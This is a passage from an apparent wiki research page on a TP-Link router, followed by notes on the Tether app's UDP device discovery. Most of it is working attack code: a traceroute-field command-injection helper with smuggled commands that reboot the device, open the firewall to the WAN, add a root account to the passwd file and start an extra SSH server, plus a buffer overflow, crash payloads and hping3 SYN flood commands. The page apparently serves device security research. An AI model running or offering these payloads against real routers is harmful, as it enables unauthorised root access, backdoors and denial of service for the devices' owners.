&lt;br /&gt;
		if (!$.exe()) &lt;br /&gt;
		{&lt;br /&gt;
			$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
			$.exe();&lt;br /&gt;
		}	&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.3&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	tracert = {&lt;br /&gt;
		diagnosticsState : &amp;quot;Requested&amp;quot;,&lt;br /&gt;
		host 			 : command,&lt;br /&gt;
		dataBlockSize 	 : 64,&lt;br /&gt;
		timeout 		 : 5,&lt;br /&gt;
		numberOfTries 	 : 2,&lt;br /&gt;
		maxHopCount 	 : 30,&lt;br /&gt;
		X_TP_ConnName 	 : &amp;quot;lo0&amp;quot;,&lt;br /&gt;
		X_TP_HopSeq 	 : 0&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
__inject(&amp;quot;;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Inject Command&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	&lt;br /&gt;
	let parameter = {host: &amp;quot;;&amp;quot;+command+&amp;quot;;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;};&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, parameter); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Reboot&lt;br /&gt;
__inject(&amp;quot;reboot&amp;quot;);&lt;br /&gt;
__inject(&amp;quot;kill 1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Enable access to all service from WAN &lt;br /&gt;
// Web Interface fails due to wrong referer header&lt;br /&gt;
__inject(&amp;quot;iptables -P INPUT ACCEPT&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Add user to the passwd file&lt;br /&gt;
__inject(&amp;quot;echo test:test:0:0:root:/:/bin/sh &amp;gt;&amp;gt; /var/passwd&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// Start another Dropbear instance on a different port&lt;br /&gt;
__inject(&amp;quot;dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Minified&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: &amp;quot;;reboot;&amp;quot;, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
$.act(ACT_OP, ACT_OP_TRACERT); &lt;br /&gt;
$.exe();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first &amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt; is used to end the tracert command. The second ; is used to seperate any possibly attached tracert paramerters from the injected command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Denial-of-Service&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;There are several ways to make the device crash or misbehave.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Code Injection&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Crash device (Needs hard reset)&lt;br /&gt;
// Firmware: 170828 (no auth)&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Doesn&#039;t poweroff but crashes everything instead&lt;br /&gt;
// Firmware: 170828&lt;br /&gt;
$.act(ACT_SET, TRACEROUTE_DIAG, null, null, { host: &amp;quot;;poweroff;&amp;quot; }); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using Buffer Overflow&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// This kills the httpd deamon (verified using UART) (restart httpd not working)&lt;br /&gt;
// Firmware: 170828 (no auth), 190428 (auth)&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, {host: command, X_TP_ConnName: &amp;quot;lo0&amp;quot;}); &lt;br /&gt;
	$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
let buffer_size = 2046;&lt;br /&gt;
let buffer = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
for(let i = 0; i &amp;lt; buffer_size; i++){&lt;br /&gt;
    buffer += &amp;quot;X&amp;quot;;&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
__inject(buffer);&lt;br /&gt;
&lt;br /&gt;
/* Remaining services running&lt;br /&gt;
PORT      STATE   SERVICE 		VERSION&lt;br /&gt;
21/tcp    closed  ftp     		vsftpd 2.0.8 or later&lt;br /&gt;
22/tcp    open    ssh     		Dropbear sshd 2012.55&lt;br /&gt;
80/tcp    closed  http    		TP-LINK TD-W8968 http&lt;br /&gt;
1900/tcp  open    upnp    		Portable SDK for UPnP&lt;br /&gt;
139 /tcp  closed  netbios-ssn 	Samba smbd 3.X - 4.X&lt;br /&gt;
445/tcp   closed  netbios-ssn 	Samba smbd 3.0.14a&lt;br /&gt;
40955/tcp closed  upnp       	Portable SDK for UPnP&lt;br /&gt;
*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using hPing&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# TCP SYN FLOOD ATTACK&lt;br /&gt;
# Strongly affects the overall system performance and makes even a UART connection buggy&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
# Makes everything slower but no global denial of service&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 22 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 139 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 445 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 1900 --flood --rand-source 192.168.1.1&lt;br /&gt;
sudo hping3  -c 15000 -d 120 -S -w 64 -p 40955 --flood --rand-source 192.168.1.1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;h4 style=&amp;quot;display: inline&amp;quot;&amp;gt;Using some odd CGI calls&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Also crashes the server (Dont know which oid)&lt;br /&gt;
// httpd still running but not responding anymore (doesnt kill any service)&lt;br /&gt;
var oid_list = [IGD, IGD_DEV_INFO, SYSLOG_CFG, MANAGEMENT_SERVER, ETH_SWITCH, SYS_CFG, NET_CFG, USER_CFG, CURRENT_USER, APP_CFG, HTTP_CFG, PH_DDNS_CFG, PH_RT_DATA, DYN_DNS_CFG, UPNP_CFG, UPNP_PORTMAPPING, DIAG_TOOL, CWMP_CFG, SNMP_CFG, NOIP_DNS_CFG, CMX_DNS_CFG, ACL_CFG, WAN_TYPE_DETECT, DMZ_HOST_CFG, TIME, HOUR, L3_FORWARDING, L3_FORWARDING_ENTRY, L3_IP6_FORWARDING, L3_IP6_FORWARDING_ENTRY, L2_BRIDGING, L2_BRIDGING_ENTRY, L2_BRIDGING_FILTER, L2_BRIDGING_INTF, LAN_DEV, LAN_HOST_CFG, LAN_IP_INTF, LAN_DHCP_STATIC_ADDR, LAN_DHCP_COND_SRV_POOL, LAN_DHCP_COND_SRV_POOL_OPT, YANDEX_DNS_POOL, LAN_IP6_HOST_CFG, LAN_IP6_INTF, LAN_ETH_INTF, LAN_HOSTS, LAN_HOST_ENTRY, LAN_WLAN, LAN_WLAN_WPS, LAN_WLAN_MACTABLEENTRY, LAN_WLAN_ASSOC_DEV, LAN_WLAN_BSSDESC_ENTRY, LAN_WLAN_WEPKEY, LAN_WLAN_WDSBRIDGE, LAN_WLAN_MULTISSID, LAN_WLAN_MSSIDENTRY, LAN_WLAN_MSSIDWEPKEY, MSSID_MACTABLEENTRY, LAN_WLAN_WLBRNAME, LAN_WLAN_TASK_SCHEDULE, LAN_WLAN_QUICKSAVE, LAN_WLAN_GUESTNET, LAN_IGMP_SNOOP, WAN_DEV, WAN_COMMON_INTF_CFG, WAN_DSL_INTF_CFG, WAN_DSL_INTF_STATS, WAN_DSL_INTF_STATS_TOTAL, WAN_DSL_AUTOPVC, WAN_DSL_AUTO_PVC_PAIR, WAN_ETH_INTF, WAN_ETH_INTF_STATS, WAN_PON, WAN_EPON_INTF, WAN_EPON_INTF_OAM_STATS, WAN_EPON_INTF_MPCP_STATS, WAN_EPON_INTF_STATS, WAN_EPON_INTF_OPTICAL_STATS, WAN_GPON_INTF, WAN_GPON_INTF_OMCI_STATS, WAN_GPON_INTF_STATS, WAN_GPON_INTF_OPTICAL_STATS, WAN_CONN_DEVICE, WAN_DSL_LINK_CFG, WAN_PON_LINK_CFG, WAN_ETH_LINK_CFG, WAN_USB_3G_LINK_CFG, USB_MODEM_PARAM, WAN_L2TP_CONN, WAN_L2TP_CONN_PORTMAPPING, L2TP_CONN_PORTTRIGGERING, WAN_L2TP_CONN_STATS, WAN_PPTP_CONN, WAN_PPTP_CONN_PORTMAPPING, PPTP_CONN_PORTTRIGGERING, WAN_PPTP_CONN_STATS, WAN_IP_CONN, WAN_IP_CONN_PORTMAPPING, IP_CONN_PORTTRIGGERING, WAN_PPP_CONN, WAN_PPP_CONN_PORTMAPPING, PPP_CONN_PORTTRIGGERING, WAN_PPP_CONN_STATS, STAT_CFG, STAT_ENTRY, DDOS_CFG, DOS_HOST, ARP, ARP_ENTRY, ARP_BIND, ARP_BIND_ENTRY, QUEUE_MANAGEMENT, CLASSIFICATION, QOS_APP, QOS_INTF, QOS_QUEUE, TC, TC_RULE, ALG_CFG, IPTV, DSL_IPTV_CFG, ETH_IPTV_CFG, FIREWALL, INTERNAL_HOST, EXTERNAL_HOST, TASK_SCHEDULE, RULE, URL_LIST, URL_CFG, IP6_FIREWALL, IP6_INTERNAL_HOST, IP6_EXTERNAL_HOST, IP6_TASK_SCHEDULE, IP6_RULE, IP6_TUNNEL, DSLITE, SIT_6RD, SERVICES, VOICE, XTP_VOICE_PROCESS_STS, XTP_VOICE_PROCESS, VOICE_CAP, VOICE_CAP_SIP, VOICE_CAP_MGCP, VOICE_CAP_CODECS, VOICE_PROF, VOICE_PROF_PROVIDER, VOICE_PROF_SIP, VOICE_PROF_SIP_EVTSUBSCRIBE, VOICE_PROF_MGCP, VOICE_PROF_RTP, VOICE_PROF_FAXT38, XTP_USB_VOICEMAIL_PUBLICCFG, XTP_MULTI_ISP, XTP_MULTIISP_CODEC, XTP_MULTIISP_CODEC_LIST, VOICE_PROF_LINE, VOICE_PROF_LINE_SIP, VOICE_PROF_LINE_XTPUSBVM, VOICE_PROF_LINE_CALLFEAT, VOICE_PROF_LINE_PROC, VOICE_PROF_LINE_CODEC, VOICE_PROF_LINE_CODEC_LIST, VOICE_PROF_LINE_STATS, XTP_FEATURE_CODE, VOICE_PHY_INTERFACE, VOICE_PHYINTERFACE_TESTS, XTP_VOICE_MULTI_ISPDIALPLAN, XTP_VOICE_PSTN, STORAGE_SERVICE, CAPABLE, USER_ACCOUNT, USB_DEVICE, LOGICAL_VOLUME, FOLDER_BROWSE, FOLDER_NODE, DLNA_MEDIA_SERVER, DLNA_MEDIA_SERVER_FOLDER, SMB_SERVICE, SMB_SERVICE_FOLDER, SMB_USER_ACCESS, FTP_SERVER, FTP_SERVER_FOLDER, FTP_USER_ACCESS, XTP_PRINT_SERVICE, XTP_IGD_CALL_FIREWALL_CFG, XTP_IGD_SPEED_DIAL_CFG, XTP_IGD_MULTI_ISP_DIAL_PLAN, XTP_IGD_MULTIISPDP_LIST, XTP_CALLLOGCFG, IPSEC, IPSEC_CFG, SYS_MODE, EWAN, USER_INFO, GPON_USER_INFO, GPON_AUTH_CTC, GPON_AUTH_SN, GPON_AUTH_PWD, GPON_MAC_INFO, GPON_FWD_RULE, GPON_LOCAL_RULE_ENTRY, GPON_REMOTE_RULE_ENTRY, GPON_OMCI_IOT, GPON_OMCI_IOT_ENTRY, GPON_OMCI_ME_ATTR, CLOUD_SERVICE, FW_UPGRADE_INFO, CLOUD_USER_ACCOUNT, OWNER_INFO, CURRENT_USER_INFO, CLOUD_DDNS, CLOUD_DDNS_ENTRY, WAN_BLOCK, WAN_ERROR_BLOCK, FW_UP_INFO_BLOCK, IPPING_DIAG, TRACEROUTE_DIAG, SDMZ_CFG, WEB_CFG, VLAN, ISP_SERVICE, WOL, WOL_ITEM, IPV6_CFG, SYS_STATE, IPV6_PASS_THROUGH, AUTO_REBOOT_CFG, CPU_MEM, PRODUCE_INFO, MULTIMODE, MULTIMODE_AP, AP_CONFIG_WEPKEY, AP_SNMP_CFG, MULTIMODE_CLIENT, MULTIMODE_RE, RE_CONFIG_WEPKEY, MULTIMODE_ROUTER, ROUTER_CONFIG_WEPKEY, ROUTER_CONFIG_MULTISSID, ROUTER_CONFIG_MSSIDENTRY, MULTIMODE_MSSID, MSSID_CONFIG_MULTISSID, MSSID_CONFIG_MSSIDENTRY, MULTIMODE_HOTSPOT, PING_WATCH_DOG, LED_CONTROL];&lt;br /&gt;
&lt;br /&gt;
for(let i=0; i&amp;lt;oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GL, oid_list[i]);&lt;br /&gt;
	$.exe();&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Tether&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;&amp;quot;TP-Link Tether provides the easiest way to access and manage your TP-Link Router/ xDSL Router/ Range Extender with your mobile devices. From quick setup to parental controls, Tether provides a simple, intuitive user interface to see your device status, online client devices and their privileges.&amp;quot;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The TP-Link tether app adopts SSH services and TCP port 22 is opened on supported TP-Link devices. However, these SSH Services are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. &amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=com.tplink.tether&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://itunes.apple.com/us/app/tp-link-tether/id599496594?ls=1&amp;amp;mt=8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark_tether_app_device_decovery.png|300px|right|thumb|Tether: Wireshark Device Discovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Device Discovery&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Before establishing an SSH session, the Tether app sends an multicast discovery UDP packet to &amp;lt;code&amp;gt;255.255.255.255&amp;lt;/code&amp;gt; on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. This message gets send 4 times. After that, the Tether app send another unicast message to responding devices on port &amp;lt;code&amp;gt;20002&amp;lt;/code&amp;gt;. The syntax of the payload is mostly unclear, an change after a restart. Anyway a device will still respond to any payload captured at any time. I assume that this discovery process is used to get device capatibilities and to finally initialize a secure channel via SSH. How the SSH tunnel gets initiated is also unkown at this state of research. The Tether app uses [http://www.jcraft.com/jsch/ Java Secure Channel] client and the devices use a dropbear server for SSH connections.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
Internet Protocol Version 4, Src: 192.168.1.102, Dst: 255.255.255.255&lt;br /&gt;
User Datagram Protocol, Src Port: 54909, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000001d235406ce6 (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   ff ff ff ff ff ff 3c 22 fb 9b fb 7e 08 00 45 00   ......&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c 16 ae 40 00 40 11 62 05 c0 a8 01 66 ff ff   .,..@.@.b....f..&lt;br /&gt;
	// 0020   ff ff d6 7d 4e 22 00 18 63 14 01 00 00 02 00 00   ...}N&amp;quot;..c.......&lt;br /&gt;
	// 0030   11 01 00 00 01 d2 35 40 6c e6                     ......5@l.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Multicast Discovery Response&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 54909&lt;br /&gt;
Data: 0100000200b01201000001d2fdb65d9800010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
	// 0020   01 66 4e 22 d6 7d 00 c8 3e c8 01 00 00 02 00 b0   .fN&amp;quot;.}..&amp;gt;.......&lt;br /&gt;
	// 0030   12 01 00 00 01 d2 fd b6 5d 98 00 01 00 04 c0 a8   ........].......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Request&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.102, Dst: 192.168.1.1&lt;br /&gt;
User Datagram Protocol, Src Port: 44794, Dst Port: 20002&lt;br /&gt;
Data: 0100000200001101000003e56b89a97b (16 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   98 da c4 6e 00 fc 3c 22 fb 9b fb 7e 08 00 45 00   ...n..&amp;lt;&amp;quot;...~..E.&lt;br /&gt;
	// 0010   00 2c a6 c3 40 00 40 11 10 46 c0 a8 01 66 c0 a8   .,..@.@..F...f..&lt;br /&gt;
	// 0020   01 01 ae fa 4e 22 00 18 53 fc 01 00 00 02 00 00   ....N&amp;quot;..S.......&lt;br /&gt;
	// 0030   11 01 00 00 03 e5 6b 89 a9 7b                     ......k..{&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Unicast Discovery Response&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.102&lt;br /&gt;
User Datagram Protocol, Src Port: 20002, Dst Port: 44794&lt;br /&gt;
Data: 0100000200b01201000003e56c37995b00010004c0a80101… (192 bytes)&lt;br /&gt;
&lt;br /&gt;
	// 0000   3c 22 fb 9b fb 7e 98 da c4 6e 00 fc 08 00 45 00   &amp;lt;&amp;quot;...~...n....E.&lt;br /&gt;
	// 0010   00 dc 00 00 40 00 40 11 b6 59 c0 a8 01 01 c0 a8   ....@.@..Y......&lt;br /&gt;
